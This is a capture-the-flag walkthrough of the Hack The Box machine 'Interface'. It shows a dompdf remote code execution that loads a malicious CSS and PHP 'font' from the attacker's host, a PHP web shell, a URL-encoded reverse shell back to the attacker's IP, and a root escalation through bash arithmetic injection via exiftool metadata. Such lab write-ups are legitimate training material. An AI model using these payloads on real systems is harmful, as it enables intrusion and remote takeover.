Hack The Box Academy Walkthrough – Interface : Interface, a medium rated linux machine involved finding an api subdomain from the CSP header, fuzzing for endpoints, it had dompdf which was vulnerable to rce by loading a css having malicious php giving us a shell as www-data, with pspy we can see a bash script running as root, the script was using a comparison which is similar to eval which can lead to executing arbitrary commands.
NMAP
Nmap scan report for 10.10.11.200
Host is up (0.38s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
| 256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
|_ 256 cc62905560a658629e6b80105c799b55 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Site Maintenance
|_http-favicon: Unknown favicon MD5: 21B739D43FCB9BBB83D8541FE4FE88FA
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelPORT 80 (HTTP)
The webserver shows a note on the site about some maintenance
Fuzzing for files and directories using dirsearch
Also read : Hack the Box (HTB) academy machines walkthrough – flight
It didn’t find anything from fuzzing, on checking the response headers it has some sites being shown out of which there’s prd.m.rendering-api.interface.htb
Here I tried fuzzing but again there were no results other than `vendor` so fuzzing there again to see if there’s something accessible
This found `/dompdf` but it’s giving us 403
Since this is an api from what the subdomain tells us, let’s try fuzzing on /api for POST requests
Foothold
For sending a POST request to html2pdf I struggled a lot in finding a proper way to send POST requests and documentation didn’t really included that, so we can try fuzzing for parameter, I went with using wfuzz for this and used Content-Type as json to find the parameter
wfuzz -X POST -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u 'http://prd.m.rendering-api.interface.htb/api/html2pdf/' -H 'Content-Type: application/json' -d'{"FUZZ":"test"}' --hh 36
With this request we’ll be able to convert HTML to PDF
Dompdf is vulnerable to remote code execution through loading css which then loads the font that is cached
We have our css file which is loading the font that is actually a php file executing phpinfo() and from the article it explains that dompdf excepts any file extension as long as header belongs to a font file
@font-face {
font-family:'exploitfont';
src:url('http://10.10.14.70:9001/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}And we have the malicious font file
We need to load a css with from our machine so sending a request with href
<link rel=stylesheet href='http://10.10.14.70:9001/exploit.css'>"
To access the cached php font file we need to visit this url to access our cached font php file
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/fontname_fontweight/style_urlmd5hash.phpTo calculate the hash of the url http://10.10.14.70:9001/exploit_font.php
So the url becomes
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_3b08b785afb0c81b1ea0920e80175f2d.php
We can now get rce by just adding <?php system($_GET['cmd']);?>
With php we can get reverse shell
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_3b08b785afb0c81b1ea0920e80175f2d.php?cmd=php%20-r%20%27$sock=fsockopen(%2210.10.14.70%22,2222);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27
Privilege Escalation (root)
Running pspy we see a bash script /usr/local/sbin/cleancache.sh being ran as root user
Checking the bash script
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
rm "$cfile"
fi
fi
done
It’s running /tmp directory where it’s checking for files and exiftool is looking for Producer tag in the files and comparing it with -eq if it’s dompdf and if it, it will delete that file, I checked the version of exiftool which was 12.55 and there wasn’t any reported vulnerability for this version.
The vulnerability here is bash’s eval which can allow arbitrary code to be executed
"$meta_producer" -eq "dompdf"Testing out if we’ll get the output of id command by including it in Producer meta data
exiftool -Producer='a[$(id)]+dompdf' ./export.pdf
This works but we can’t really use spaces here as the Producer meta data is being separated with cut on a space so instead I created a bash script having the reverse shell
exiftool -Producer='a[$(/dev/shm/uwu.sh)]+dompdf' ./export.pdf
After transferring the file, wait for the cronjob to trigger the script
